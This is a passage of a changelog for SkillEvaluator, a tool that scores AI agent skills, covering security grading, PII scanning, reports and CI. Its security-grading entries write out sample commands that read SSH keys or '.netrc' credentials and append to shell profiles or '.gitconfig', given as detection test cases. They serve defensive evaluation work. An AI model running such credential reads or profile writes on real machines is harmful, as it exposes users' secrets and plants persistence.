not only the error for the gap.validateno longer repeats its header box in short terminal windows or when a log warning prints mid-run. Only the tier that is still running is redrawn; the header and finished tiers print once, and log records print through the live view's console. The progress line now prints once, above the final verdict.Tier 3 security grading now handles more cases, on top of the 0.9.0 home-directory spellings fix. A home path in the default word of a
${VAR:-word}or${VAR-word}that starts a path word now matches, socat "${SSH_KEY:-$HOME/.ssh/id_rsa}"andecho x >> "${GIT_CONFIG:-$HOME/.gitconfig}"score Security 0.0 (1.0 in 0.9.0), whilecat backup-$HOME/.netrcandcat backup-${X:-$HOME/.netrc}keep 1.0. The quoted strings that bound a redirection,tee, orsed -itarget are found as the shell finds them: an escaped\'opens none, a quote in a#comment pairs only within its line, and one in a here-document body never pairs past the body. So after# Show what's in the profile, the readecho '--> zprofile'; cat ~/.zprofile; echo '--> done'now scores 1.0 (0.0 in 0.9.0), andsed -i '/old-path/d' $HOME/.zprofilescores 0.0 (1.0 in 0.9.0). A redirection,tee, orsedinside a quoted string or a comment no longer hides the writes after it, soecho "Step 1 -> check"; echo x >> "$HOME/.zprofile"scores 0.0. Theviewcommand ofstr_replace_editororstr_replace_based_edit_toolis checked as a read, like aRead: a view of/root/.gitconfig,/root/.bashrc, or/etc/sudoersscored 0.0 in 0.9.0 and now scores 1.0, and a view of a credential store such as~/.netrcstill scores 0.0. Both the host checker and the bundled Harbor verifier apply the fix.BENCHMARK.mdnow shows the evidence and the policy that decided its overall verdict. The card used to printOverall verdict: PASS — Recommended for publicationwith nothing behind it, so a reader who saw an agent with no dimension scores and another agent below the documented 40% FAIL boundary had no way to tell why the gate still passed. A "Why This Verdict" block under the callout now names the rule that fired, the Tier 3 evidence state with its publication policy, each blocking reason, and, per agent, what the dimension gate read: which agent passed every dimension, which dimension fell below the FAIL or PASS boundary, and which agent the gate did not count, naming the excluded arm when the run recorded one. A PASS that rests on one agent while another fails a dimension now says so. The block is rendered from the same publication assessment the printed verdict is projected from, and from the per-agent breakdown the Tier 3 dimension verdict folds, so it cannot describe a different decision. Optional or skipped Tier 3 runs are explained using their recorded policy, and threshold-adjacent scores retain enough precision to stay in their actual verdict band. No verdict changes.--tolerate-baseline-timeouts(added in 0.9.0) now follows its own rules in the printed run verdict, in the notes of both reports and during result collection. TheRUN QUALITY VERDICTline thattier3 evaluateprints reads the same agents as the run verdict, so a tolerated agent that passes no longer prints PASS beside a complete agent that fails or never activated the skill; the line now reads FAIL or INCONCLUSIVE, as the reports do.BENCHMARK.mdandreport.htmlnow keep the "Needs attention" note and theBaseline incompleteline for each tolerated agent also when a cost limit leaves the best agent's attempts short; both reports used to leave them out in that case.report.htmlalso keeps the note when its overview reads Inconclusive because the complete agent never activated the skill. An output-token count past the JSON-safe integer range (above 2^53 - 1) in a timed-out attempt is no longer progress evidence; with no other in-range count for that attempt the agent is refused asno_progress_evidence, where result collection used to stop withbrowser-unsafe JSON integerand write noresult.jsonor report.The PII scan no longer reports link-local
169.254.x.xaddresses, such as the cloud instance metadata endpoint169.254.169.254and the ECS credentials endpoint169.254.170.2, as non-RFC1918 IP addresses; its advice to use a private IP cannot apply to them. Other addresses outside the excluded ranges, including169.25.x.xand169.255.x.x, are still reported. A--pii-waiversentry that accepted such an address now matches no finding, so it is reported as a LOWstale-pii-waiverinstead of an INFOapplied-pii-waiverand can be removed.A Tier 3 trial that fails because Docker has no free network address pools now names that cause, and how to clean up, right after the exception type in its failure reason, which used to cut Docker's error off after the long Compose command. The documented cleanup for interrupted or killed runs now also lists and removes the trials' leftover Compose networks, which are what use up the pools.
A native Codex
execwrapper that calls the freeformapply_patchtool with the patch as a bare string is decoded instead of being discarded. The bounded statement grammar read every argument as an object literal, soconst r1 = await tools.apply_patch("*** Begin Patch\n...");followed by another call made the whole wrapperunsupported_native_codex_exec_wrapper: the patch and its sibling calls went ungraded, although the same wrapper written astools.apply_patch({input: "..."})decoded. A single- or double-quoted string is now read as that tool'sinput. Nothing is interpreted: a template literal, a concatenation, an extra argument, an unterminated string and a bare string passed to any other tool are still rejected, and the object path keeps its character gates unchanged.A tool call the harness reports as exiting 0 is no longer recorded as failed because its output holds error words. An agent that read a document about errors, such as a
SKILL.mdheaded# Troubleshooting: command not found, lost that call's component activation in the plugin component signals. An explicit zero exit status in every correlated result's header now passes the call, as a harness success flag already did. Only the harness's own header lines are read, so a body that spellsexit_code=0still reports nothing, and a result with no exit status, or a non-zero one, is judged by its text exactly as before.Add
SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODELto set the model that Claude 5.5 or later requests name as the server-side refusal fallback, or to turn it off withnone,off,disabled,falseor0. The Claude API answers HTTP 400 ('claude-opus-4-8' is not a valid fallback target for 'claude-sonnet-5-5') when the fixedclaude-opus-4-8target does not suit the request model, which made such a model unusable for LLM checks and as a Tier 3 judge. A fallback equal to the request model is no longer sent. The default is unchanged. The Harbor verifier receives the variable likeLLM_JUDGE_FALLBACK_MODELS; its Bedrock refusal retry uses it too, adding the judge model's geography prefix to a bare name and using a full Bedrock ID as given. The reusable CI workflows do not take the variable.When the default report directory cannot be claimed, the error now gives the reason and the way out:
Cannot safely reserve default report output directory: <dir> (<reason>). Choose a report directory with -o/--output-dir.Before, it named only the directory. This happens when bothreports/and<skill>-reports/hold files written under another ownership key, for example from containers that each start with a fresh home directory. The refusal itself is unchanged, anddocs/reports.mdxexplains it.When the terminal refuses one of the plan lines printed before the interactive Tier 3 progress view's table first appears, such as a write that would block, a line now says that the run continues, as when drawing the table fails. When the terminal still refuses writes then, the line saying that the run went on is printed instead, when the run ends, so only one of the two appears. When the terminal takes the writes before that line and refuses only the line itself, a stream that keeps what the terminal refused, as standard error does, sends that line when the run ends in place of the later one. Before, progress turned off with no notice, and the refused line was printed again with the next run's plan. After a refused table update, standard error printed both lines when the terminal then refused the line saying that the run continues. The view also no longer keeps its own copy of output the terminal still refuses when the run ends, such as the final table, and sends it with the next run on the same reporter, where it could erase the lines printed between the runs. A stream that keeps what the terminal refused, as standard error does, can still send it later, and a final table sent then can still erase those lines. A running stage's spinner in that view now moves on one frame with each redraw, at least once a second by default, instead of staying on its first frame. These follow the 0.9.0 Fixed entry that starts "The interactive Tier 3 progress view (
--progress rich, orautoin a terminal) now keeps one height".All-tier CI now says when a skill's frontmatter stops the Tier 2 comparison catalog, and names every such skill. When the configured skill roots hold more than one skill, CI builds the catalog from all of them, including skills that did not change. One
SKILL.mdamong them whose frontmatter is not a valid YAML mapping with a non-empty stringnameanddescriptionstops it before any embedding request, and Tier 2 then checks no skill and is incomplete. This includes a value that is not a string, such asname: 2048,name: yes, ordescription: [Draft], which Tier 2 commands such assimilarity-checkconverted to text before 0.9.0. With one skill there is no catalog, and such frontmatter does not stop Tier 2. The Tier 2 reason pointed at provider and embedding configuration; it now says that a skill's frontmatter is the cause, and the retained catalog log undertier2/catalog/diagnostics/names every such skill by its path in the repository. Quote such a value, as inname: "2048". ASKILL.mdthat is not valid UTF-8, such as one saved as UTF-16 or as Windows-1252 with an accented letter, stops the catalog with the same reason and is named the same way; save it as UTF-8. Frontmatter over a structure or length limit in any skill still gets the reason that points at provider and embedding configuration, and the log then names no skill, not even one whose frontmatter is invalid.Template cases from
create-eval-datasetno longer quote a skill description that names one of the skill's scripts without running it, such as "Checks release manifests with review.py and reports blockers", in the expected output and the assertion about the outcome. The no-skill baseline does not have the script. The graded text is now the generic outcome; the prompt still quotes the description. The autopilot starter case uses this outcome text when it has no LLM reply, or when it replaces LLM-written graded text that uses the skill; other LLM-written text that names a script is kept.When a template prompt would call a
SKILL.mdin the skill's descriptionmy SKILL.mdand the skill's name, "the<name>skill's" or "the installed skill's" comes right before anySKILL.mdin it, template cases now get the generic task "handle a typical request" and generic graded text, as for a description that names<name>/SKILL.md. This covers "Reads release-review'sSKILL.md", "Follows the release-review skill'sSKILL.md" and "ReadsSKILL.md, then validates release-review'sSKILL.mdfrontmatter". Before, the prompt and the graded text quoted a garbled task such as "reads release-review's mySKILL.md". A description whoseSKILL.mdis not renamed, such as "Validates release-review'sSKILL.mdfrontmatter", is quoted as before. Generic wording comes first, as intier3 validate: for a skill named read or own, "readSKILL.md" and "its ownSKILL.md" are renamed as for any other skill.Tier 1 quality no longer deducts 5 Correctness points, or reports
SKILL_SPEC recommended field missing: 'version', when a skill has no rootversionfield. The version check reads only the optionalmetadata.version, so a skill with that field or with no version scores 1.75 points higher; the bundledtext-analyzerexample now scores 86.2 instead of 84.5.Tier 3
evals/config.ymlloading rejects a repeated key (also inside a YAML merge source) or a cyclic merge instead of keeping the last value, applies the shared YAML size and nesting limits, and reports a non-string key such asyes:or a non-UTF-8 file as a config error instead of crashingvalidate. Checks before the Harbor run now read the file as the run does, rejecting a symlink (even a broken one), a hard link, a FIFO, a file over 4 MiB or a symlinkedevals/directory, and a YAML error no longer repeats the source line.validate path/to/SKILL.mdandvalidate path/to/workflow-rules.mdcnow validate the folder that holds the file, as passing the folder does, so a file inside a symlinked folder is now refused unless--no-dedupis passed, as that folder is. Before, Tier 1 and Tier 2 received the file itself:schema,versionandqualityfailed withNo skills foundfor a skill, andschemawithNo workflow directories foundfor a workflow; a run narrowed with--checkscould pass without scanning the skill's other files; and a run from inside the skill wrote its reports into it. Tier 3 also received aworkflow-rules.mdcfile itself; it now receives the workflow folder, as it already did for aSKILL.md. With--no-dedup, this also holds when the file is a symlink to a file with another name.The Tier 1 SkillSpector missing-reference check no longer reads a bold or italic label such as
**Note:**,*Tip:*or**Step 1:**, or a$shell prompt such as$ python run.py, as a wildcard for every file left out of the scan, which kept such a lineINCOMPLETEwhenever anything, even.git, was left out. A wildcard elsewhere in the line, or a label inside code, still counts. So do such a label and$on a line with a space or shell delimiter between two of the same quote or after a backslash, as written or decoded, such assetup' 'helper.shorsetup\ h*.sh, where a shell may join words that the check reads apart. Withvalidate --workersabove 1, a skill of a folder that is also a plugin is judged against the folder, as with one worker, so a line naming a file elsewhere in the folder keeps itINCOMPLETE. An--llm-verifydowngrade no longer drops the accepted missing-reference warning, or the error that says why a scan isINCOMPLETE. A severity override from--policyor--profileno longer drops that error either.With
--progress richwhen standard error is not a terminal, such as when it is redirected to a file or piped to another program, the Tier 3 progress table now ends its last line. Before, the next output, such as a log line, the shell prompt, or the line saying that progress stopped after a drawing error, was printed on the same line as the table's bottom border. Output to a terminal is unchanged.The Tier 3 "How to improve" list now finds the failed attempts of a case whose trial directory names do not start with its case ID: a native or NeMo Gym task whose
[metadata] entry_iddiffers from its directory, or a case ID longer than the 32 characters Harbor keeps in a trial name. Before, such a case's run error said only "1 attempt(s) never produced a score", with no cause and no evidence file, and a failed judge got the generic run error advice instead of the judge remedy. Each attempt's case is now theentry_idthe collector recorded in itsfailure.jsonorreward.json, as for token usage. The case rows rebuilt for a failed arm use the same case instead of the task directory, and the live case grid during a run counts a long-named case's attempts in its own row instead of a second row with the cut name.With
--progress richandTTY_INTERACTIVE=1when standard error is not a terminal, the Tier 3 progress table is now drawn once, when the run ends, as it is withoutTTY_INTERACTIVE. Before, a copy of the table was also printed under each plan line that changed during the run, and the next plan line or table started on the same line as that copy's bottom border. Output to a terminal is unchanged.Tier 3 security finding evidence and saved judge evidence mask the credential in more command forms (
auth=call values,sedreplacements,_long flags, quoted or--config keys, values in escaped single quotes or quoted with the'"'"'idiom, a name after an escaped line break), also in text escaped twice; a value-less credential flag no longer hides the next command's password, and shellapply_patchevidence is masked before its 400-character cut. The Tier 3 live evaluation guide lists the exact forms.
0.9.0 - 2026-11-13
Fixed
- Tier 3 dataset fairness validation checks the skill's own identities and nested judge expectations, recognizes required reads after negated actions, and bounds diagnostics and repeated-negation work. Template prompts avoid requiring bundled scripts; upgrade guidance explains strict CI preflight failures for older datasets that grade skill use.
Added
Dataset fairness validation checks the evaluated skill's own names and nested graded text, distinguishes negated reads from required reads, and bounds warning excerpts and repeated-match scanning. Common Unicode, Markdown and script references are checked too; generated prompts avoid skill scripts. Older datasets may need outcome-only wording to pass strict CI preflight.
Classify explicit
SKILL.mdownership contacts (metadata.picandmetadata.email) asPII.ownership_emails, still HIGH by default. Add--policytotier1andtier1 validateso operators can permit reviewed ownership metadata without allowing ordinary email occurrences.Retain bounded SkillSpector completeness diagnostics in JSON reports and show file/line, phase, and reason in incomplete-scan errors. Preserve details across scan stages, folder aggregation, and policy application.
Add an
error_handlingsection to the--quality-configfile for Reliability's three error-handling rules: theSKILL.mdmention check and thescriptsandlibcode checks. Each setspoints,message,suggestion, and itstermsormarkers;points: 0turns a rule off. The section is optional and merges with the packaged values. A custom file may now also omitexpected_headers, which then falls back to the packaged heading list; a list you set still replaces it and[]still turns heading checks off. Without a custom file, scores and findings are unchanged. The packagedquality_configdigest changes once, becausequality-default.yamlgained the section. A custom file's digest covers only the rules that file sets, so existing custom files keep their digests and a digest changes only when the file's rules change.Tier 3 reports show token usage per case, per agent and over all agents, as a measurement that is not scored. The JSON payload gains
token_usage;BENCHMARK.mdgains a Token Usage section; the Markdown report, the HTML report (under Measured Agent Resources),validate --verboseandtier3 evaluate --verboseshow the same numbers. Cached tokens are part of the prompt and are not added again. Attempts that failed before scoring count as usage. Missing counters leave a partial total and are never estimated. The with-skill change needs complete counts for the same attempts in both arms, and both arms must have succeeded. Token usage never displaces score evidence: it joins the report payload last, and its case rows, then its sums, are left out, with a note, when the payload would pass its size or node limits, also after the run's next steps,tier3 evaluate's case findings andvalidate's applicability fields join it. A baseline that did not run is shown as not run, and a reused baseline's tokens are marked as used in the run it came from.Capability-gated CI onboarding for protected Tier 1
--llm/SkillSpector checks, independent Tier 3 gateway/judge settings and native agent models. Combined reports retain source-boundBENCHMARK.mdcards for every outcome; GitHub can optionally propose eligible cards through a separate trusted benchmark-update PR. Tier 2/3 remain advisory for CI. Retained JSON preserves Tier 1 required-check and unscanned-content scope for publication decisions. The repository's own candidate CI selects Build for Tier 1/2 and separate gateway-backed Claude Code/Codex models for Tier 3, without changing upstream provider defaults. With the defaultscan-mode: auto, a merge request or same-repository pull request that changes no file under a configured skill root skips the paid jobs (LLM-enriched Tier 1, Tier 2 and Tier 3): the keyless scan remains the Tier 1 gate and reports list Tier 2 and Tier 3 as skipped. GitHub fork PRs never run the paid tiers and keep their existing Tier 2/3 reason. Setup guidance explains when provider configuration is exercised and how to request an eligible all-skill check before merging. When tiers run, GitLab keyless and native selectors both include changed setup gitlinks despite committed submodule ignore settings.HTML, Markdown, and terminal findings show recorded LLM verification verdicts, confidence, and reasoning, with an explanation of retained or downgraded severity. Medium-confidence false positives and uncertain verdicts retain existing gates. Repeated occurrences with the same verification decision remain grouped in HTML.
A reproducible public terminal starter runs the released CLI against the bundled text-analyzer skill, checks real script/report output and a seeded quality regression, and retains an editable task, fixture and run receipt. The walkthrough connects setup, interpretation, live-evaluation prerequisites, troubleshooting and adaptation; contributor guidance clarifies environment setup, example verification and the existing DCO policy.
Tier 3 datasets can declare deterministic behavior checks for script invocation and success, workspace files, and final-response text.
Tier 3
evaluate --compare-to RUNand read-onlycompare-versionscompare compatible retained skill versions, report paired per-agent deltas and regressions, and keep version comparisons separate from no-skill Skill Lift.Add opt-in
tier3 interactexperiments for two or more skills. The command uses one reviewed task suite and a fixed attempt budget to compare baseline, individual, and combined performance. It reports the departure from additive gains and retains source identities and trial evidence. Invalid inputs exit with code 2. Incomplete or incomparable experiments and output I/O failures exit with code 1. Configuration failures identify their arm, trial progress uses stderr, and output roots honorSKILLEVALUATOR_RESULTS_DIRwith canonical paths. Documentation describes trial noise and sequential configuration order.Read-only Tier 3
historylists retained Skill Lift runs chronologically, separates incompatible configurations into segments, preserves unavailable lift as missing, and exports JSON, CSV, or Markdown summaries.Tier 3
evaluate --reuse-baseline RUNreuses compatible retained fresh without-skill evidence, preserving lift calculations and baseline provenance.latestsearches completed runs and falls back to a fresh baseline when needed.tier3 validate-graderqualifies the shipped verifier against independent versioned labels, with offline suite checks, repeated-grading statistics, provenance, optional rate gates and a bundled public reference suite.JSON reports record the SkillEvaluator
versionthat wrote them, thetarget_path(the absolute path or Git remote URL fromvalidate, the path as given fromtier1andtier2, andnullfrom single-check commands such assecurity-scan), andtop_issues, the grouped issue rows across every tier that the HTML report data carries, without their page anchors. Eachgating.tiersentry addsvalidator_policies, which says for each check whether it gates the exit code; the tier'sblockingistruewhen any one of them does. The keys are additive, and existing keys keep their shape. Local skill aliases such as.retain the folder name inskills, and native Tier 3 CI reports retain their single skill identity. Published CI JSON omits absolute hosttarget_pathvalues.Import production trace exports into redacted review candidates with
tier3 import-traces, then promote only explicitly human-reviewed expectations and replay fixtures withtier3 accept-traces.Tier 3 evaluations support token, judge-call, attempt, and priced-cost budgets.
--tolerate-baseline-timeouts(andharbor.tolerate_baseline_timeoutsinevals/config.yml) keeps a Tier 3 agent scored on its clean with-skill arm when its only baseline failures are attempts that hit the agent execution timeout while the agent was still producing output. By default one such attempt still fails the agent and the whole run. The option needs both arms run in the same run (not a--reuse-baselinebaseline), standard dimension grading, every other agent completed (at least one with both arms) and no other launch errors; attempts a cost limit leftnot_runare not counted as missing. It refuses a timeout whose logs show a known provider overload, rate limit, quota or authentication error, and it does not cover native multi-step tasks. The baseline condition staysfailed, baseline scores and Skill Lift are not reported for that agent, the run's best agent, overall score and verdict come from the agents with a complete baseline, reports name the tolerated agent in a "Baseline incomplete" note, the run lists a warning, and the run is still not complete publication evidence.Tier 3 reports list up to three run-level Next steps under the per-case fixes in the terminal,
report.htmland the Markdown report: re-run an incomplete run, add attempts for inconsistent cases, add cases or negative controls, or compare agents and models. Each step names its target (evaluation, dataset or agent), the observed problem and evidence, the action, and the check that would show improvement. Steps about agents or models are marked as hypotheses to test, steps from incomplete runs as limited, and none suggest removing cases or loosening expectations. The rules need no LLM; the Tier 3 payload carries them asnext_steps.Document per-agent Tier 3
findings.jsonartifacts and distinguish advisory metric severity from dimension verdicts; include severity thresholds in the artifact and a muted CLI legend without changing scores or thresholds.tier3 import-metricsaccepts versioned, normalized per-case custom scores from external evaluations and writes clearly labeled JSON/Markdown reports. Imports validate identities, metric metadata and values, retain declared provenance and source hashes, and compute custom lift only on matched case/attempt pairs, without assigning standard scores or claiming execution.Tier 2 context deduplication and
--llm-verifyname the model that answered. On the native Claude API, a server-side fallback model can answer in place of a configured Claude 5.5 or later model. A duplicate finding records the model that gave its verdict asllm_model_used, withllm_provider, in its metadata, and the Tier 2llm_analysisobject addsmodels_used, every model that gave a cluster's verdict.llm_analysis.modelstays the configured model, and anllm_refusedfinding still names the configured model asllm_model. Each finding that gets an--llm-verifyverdict recordsllm_providerandllm_model_usedas well, including a verdict kept from a reply cut off at the output-token limit. A model name that is not a plain identifier, such as a URL or a key, readsunresolved.Show per-agent evidence volume next to Tier 3 scores: distinct cases, planned and scored attempts, execution and judge failures, and per-arm counts when a baseline ran. Flag limited case coverage or incomplete attempt coverage; distinguish uniform from early-stopped attempts, and retain case counts from legacy summaries where available.
Report dataset sufficiency as sufficient or provisional using distinct-case, negative-case, Wilson interval, and paired-case coverage requirements. Show the dataset-size status in evaluation, validation, HTML, and BENCHMARK output; validation coverage notes remain informational.
Experimental
hermesTier 3 agent for Docker and native NVIDIA Build routing, pinned to Hermes v2026.9.24. Includes isolated skill staging, ATIF trajectories, activation evidence, token accounting and retained execution diagnostics. Other providers/environments fail early; existing agent defaults are unchanged.Tier 3 generation provenance distinguishes LLM, requested-template, and template-fallback datasets, marks trace refinement and autopilot generation, and displays the source and review state in terminal, HTML, and BENCHMARK reports. Run payloads retain the generation record with shortened input hashes.
create-eval-dataset --groundingselects skill, author-intent, or trace grounding. Generated datasets record relative input provenance and review flags for observed answers that differ from authored expectations and authored behavior steps omitted by refinement output.tier3 validatereports informational dataset coverage counts and concrete gaps in text and JSON. Generated one-case starters now explain their limits and point authors to full dataset generation and coverage validation.Collection similarity reports selected, indexed and skipped manifests with bounded exclusion reasons. Malformed selected manifests now make the scan incomplete and block catalog writes. A standalone synthetic scale benchmark records limits and stage measurements without provider requests. Reused Python registries now replace the complete selection on successful builds and preserve committed entries, vector dimensions and coverage together on failure; callers that relied on undocumented merging must pass their complete intended selection.
Document an additive qualitative assessment review worksheet with bounded evidence from real successful, failed-setup and invalid-judge runs. Preserve numeric grading and identify the separate decisions needed for scoreless support. Pin the public calculator input to the historical repository revision used by the run, preserving its original hash and evidence pointers after migration.
skillevaluator tier3 migrate-datasetpreviews lossless legacy conversions and writes only to an explicit new JSON/YAML destination. Authored routing, case IDs, fixture selectors, and extension metadata are preserved. The five bundled reference datasets now use the preferred object format; legacy reading remains supported.Tier 3 reports show per-case expectation inventories with explicit met, unmet, unchecked, unscored and inapplicable judgments, evidence and next diagnostic steps for executed conditions. Behavior judges can abstain when evidence is missing; partial results preserve every original requirement without presenting missing judgments as verified skill defects. Unexpected judge errors retain that inventory; intentionally skipped arms add no attempts.
Repeatable Tier 3 activation-validation recipe and offline acceptance suite. Canonical trials separate expected target-skill use, trusted observed use or unknown traces, task correctness, workflow diagnostics, resources and retained evidence links. Fallback multi-step rows retain scoped observations without claiming complete logical-trial activation or changing numeric grading. Explicit
should_triggerprecedence is preserved, and standard baselines retain trusted trajectory observations independently of null/N/A skill scores. Primary skill identities match case-insensitively; accepted alternate use remains optional, including the legacy alternate field, without changing numeric grades. Unrendered activation diagnostics remain in canonical exports without consuming HTML overview or failure-reason preview budgets.The Tier 1 reusable workflow accepts
enforcement-mode: strict|advisory(defaultstrict). Opt-inadvisorykeeps complete policy/score failures non-blocking while retaining failed verdicts and reports and emitting a workflow warning. Configuration, scanner completeness, evidence, and runtime failures still block. Advisory mode requires supporting workflow and scanner image pins; the released 0.8.0 bundle does not accept this input.Run SkillEvaluator's own
skills/through the pinned three-tier GitHub callers, retaining Tier 1 as required and Tier 2/3 as advisory. A separate consumer feedback listener preserves the reusable publisher's public path; onboarding and status recognize this filename collision without replacing reusable workflow definitions. Automatic comments activate after the listener reaches the default branch. Document independent chat, judge and agent model settings and model-availability troubleshooting for provider-backed CI.skills/skillevaluator/is an agent skill for operating SkillEvaluator: it routes requests to the right tier, readiness check, dataset, report, or CI command, and ships Tier 3 evaluation cases for itself. A test keeps every command and option it documents in sync with the CLI. The new "Evaluate from Your Agent" docs page shows how to install it in Codex, Claude Code, OpenCode, OpenClaw, and other skill-aware agents.Opt-in three-tier GitHub and GitLab CI entrypoints with required Tier 1, advisory Tier 2 and paired Tier 3, Docker and native local execution, pinned local agent bootstrap, retained aggregate/native reports, and trusted default-branch feedback. Candidate templates require a capability-bearing release descriptor; released Tier 1 bundles and workflows remain unchanged. Incomplete runs retain redacted startup diagnostics. Interrupted Tier 1 selections cannot pass on partial results; advisory tiers preserve their failed or incomplete status. GitLab callers quote variable values, use literal job timeouts compatible with GitLab 17.8, and safely select changes in runner-owned checkouts. GitLab before 18.4 uses a separate read-only admission credential; feedback initiation is advisory so first-install reporting does not change the tier gate. Same-project feedback uses the short-lived job-token trigger API and verifies the server-bound upstream pipeline and source job, preserving protected-branch and deployment permissions. Its persisted GraphQL MR association supports GitLab 17.x without requiring the newer pipeline/MR REST endpoint. Publisher failures include a trusted check location and finite diagnostic category.
Private plugin helpers recognize native OpenClaw manifests (
openclaw.plugin.json) after the existing manifest formats.idis the plugin identity andconfigSchemamust be an object. Only theskillsroots the manifest declares are members, searched recursively without implicitskills/or hidden andnode_moduleschildren.package.json#openclawentrypoints are boundary-checked without being imported or run. Every native manifest keeps an unsupported OpenClaw runtime row, so portable skill results never certify tools, hooks, channels, providers or services. InlinemcpServersfollow OpenClaw's transport, SSE default and verbatim-URL rules; disabled TLS verification and literal enterprise secrets are blocking. Runtime preparation never copies the plugin root as a member, never starts stdio servers whose plugin-root working directory cannot be kept, records unapplied host options as incomplete, and keeps host metadata out of staged manifests. Native Claude Code staging copies only the declared member skills, never the plugin tree, so Claude Code's default skill, command, agent, hook andbin/locations stay unloaded.scripts/ci/smoke_openclaw_plugins.pyrepeats these checks against real plugin sources without executing plugin code.Simplify repository CI onboarding around quality and security checks with no model key required, keeping optional LLM checks and hosted feedback separate. Preserve opt-in all-tier setup and report contracts in an Advanced CI reference.
When the RAGAS goal scorer judges
goal_accuracy,judge_attempts.jsonnow saves each request it sends and the judge's reply, so a RAGAS score can be audited like the prompt judges' scores. Each request is aragasentry with statusreplied, orerrorwith the HTTP status and body or the reason the reply was not received, before the entry that holds the score or the problem. The prompts and replies are redacted and shortened like the other judge evidence. A failure while saving this evidence is only logged and never changes a score. The request entries do not count toward--max-judge-calls; the entry with the score or the problem is the one counted RAGAS call, as before.
Changed
A
PII.emailsseverity override in--policyno longer applies to themetadata.picandmetadata.emailcontacts in a skill's ownSKILL.md. They now report asPII.ownership_emails, HIGH by default, so a run that passed through that override fails until the policy also setsPII.ownership_emails.Remove
skillevaluator.quality_config.quality_config_provenance(path, config). Useload_quality_config_with_provenance(path)instead: it loads the config and returns(config, provenance), and its digest covers only the rules a custom file sets. The report'squality_configfield keeps its shape.Upgrade the Tier 3 backend to Harbor 0.25.0. Align supported sandbox constructor options with the release while reserving automatic mounts and host Compose environment forwarding for evaluator policy. Preserve local agent, verifier, and artifact evidence under Harbor's new mount checks, and retain explicit Codex gateway URLs, credential aliases, and full model identifiers.
Tier 1 labels the
SKILL.mdtoken count as an estimate (characters / 4) in the Large skill finding, the HTML report and the docs, and addsmetrics.estimated_tokensandmetrics.estimate_methodto the quality JSON.metrics.total_tokenskeeps the same value and scoring is unchanged.Tier 1 skill-type detection and the script-based checks recognise Node scripts (
.mjs,.cjs,.js) underscripts/andtools/, so a Node-script skill is no longer typed guide-only. A skill whose scripts are all Node scripts is not asked for arun_scriptcall; one that also bundles Python or shell scripts keeps the check. Script lint still parses Python only and reports how many Node scripts it did not lint. The rubric judge also receives Node scripts and files fromtools/. Scores of Node-script skills can change because they now get the script-based checks.Name Skill Lift as the headline comparison and label pass@k differences as supporting reliability across reports and terminal output.
A scored Tier 3 attempt now fails when
goal_accuracyor security is below 1.0, even if its Overall score meets the pass threshold. N/A or unscored metrics preserve the existing verdict behavior; missed behavior-check steps are warnings. A with-skill required-check failure fails the quality verdict, while no-skill failures do not. Reports show required-check, goals-met, and security-clean counts for both arms, plus failed-case reasons.HTML and
BENCHMARK.mdreports explain each Tier 3 dimension in plain language with its evidence source and whether the run has a no-skill baseline for it. Dimensions that could not be scored or do not apply stay listed with the reason instead of disappearing or readingNot available, and baseline-only cards show the baseline score. A short key in both reports separates the verdict, dimension and overall scores, BENCHMARK Uplift, published Skill Lift, pass@k, the Tier 1 Quality Score, and publication eligibility.Write Tier 3 accuracy deductions as plain-language reasons, identify findings without trajectory evidence, and include expected/observed text only when both values are recorded.
Tier 3 LLM suggestions and insight recommendations now keep only evidence references the run recorded (cited references that don't resolve are dropped rather than shown as evidence) and keep one copy of a repeated suggestion. Insight recommendations that restate a deterministic one, or that loosen, relax, or lower an expectation, assertion, ground truth, or pass threshold, are dropped. Both prompts ask for distinct actions and label untested causes, such as switching to a different model, as hypotheses or experiments.
Tier 3 reports missing skill runtime dependencies as environment problems, with declaration and custom Dockerfile guidance. Unrecovered environment failures leave the trial UNSCORED instead of reducing the skill's score; recovered environment failures carry no deduction.
Document per-arm Tier 3 dimension applicability and test how N/A baseline metrics are handled in Overall scores and Skill Lift comparisons.
Run GitLab Tier 2 without Docker-in-Docker while keeping TLS-protected Docker for Tier 3. Both native tiers retain shared caller timeout and runner-tag overrides, advisory outcomes, and aggregate artifacts; local mode still disables the Tier 3 Docker service.
Align terminal grade and lift colors across compact, full, and direct Tier 3 reports; displayed zero lift is neutral. Narrow terminals stack complete condition score/bar groups. Full-report Details retain successful quality and lift evidence without opening every success panel. Artifact footers show the emitted filenames, with links only on capable interactive terminals.
Compact validation now writes durable tier/check starts, stage changes and measured milestones to stderr in CI, with deduplicated events and a heartbeat after 60 seconds without progress. Final report panels remain on stdout.
Align final terminal and HTML command outcomes: Passed required checks, Changes required, or Incomplete. Keep publication eligibility and Best agent score separate. Tier counts exclude explicit N/A checks from execution; Tier 3 trial summaries use recorded condition counters before retained rows.
Embed the verified Chart.js 4.5.1 runtime and its MIT notices in Tier 3 HTML reports so charts work offline without CDN or source-map requests. Charts include accessible descriptions, links to data tables and visible fallbacks when canvas initialization is unavailable; Tier 1 reports omit chart assets.
Separate HTML Tier 2 evidence into within-skill and across-skill comparisons, with recorded completion, duplicate, affected-path, and catalog counts. Keep skipped or unavailable comparisons distinct from completed zero-match scans. Link every recorded Harbor job in HTML, terminal, and Markdown reports and disclose recorded scanner, evaluator, model, dataset, and source provenance.
Give HTML summaries, tier tiles, KPI labels and values, findings, evidence tables and all six Tier 3 views more reading room. Use relaxed body line spacing and wrap Tier 3 navigation on narrow screens in both themes.
Keep HTML tier navigation synchronized across sidebar, tiles and a mobile sticky bar, including absent tiers in comprehensive reports. Add accessible keyboard navigation for Tier 3 and agent tabs, a System/Light/Dark preference, complete expanded evidence, and readable no-JavaScript/print views. Keep required and advisory summary reasons distinct within mixed tiers and focus direct agent links on their named panels.
Compact all-tier CI PR and MR feedback into one summary table with a row per skill, one-line tier statuses and issue counts, and one combined Report link per skill. Incomplete or missing evidence keeps issue counts unknown; detailed aggregate and native reports remain in the authenticated artifact.
Make Tier 1 the only gate in opt-in all-tier GitHub and GitLab CI. Tier 2 and Tier 3 retain failed and incomplete advisory outcomes and native reports. Deprecate and ignore onboarding's
--tier3-required, GitHub'stier3-requiredinput and GitLab'sSKILL_EVAL_TIER3_REQUIREDvariable; none can make Tier 3 block CI. Standalone validation and benchmark publication policies are unchanged.Standalone
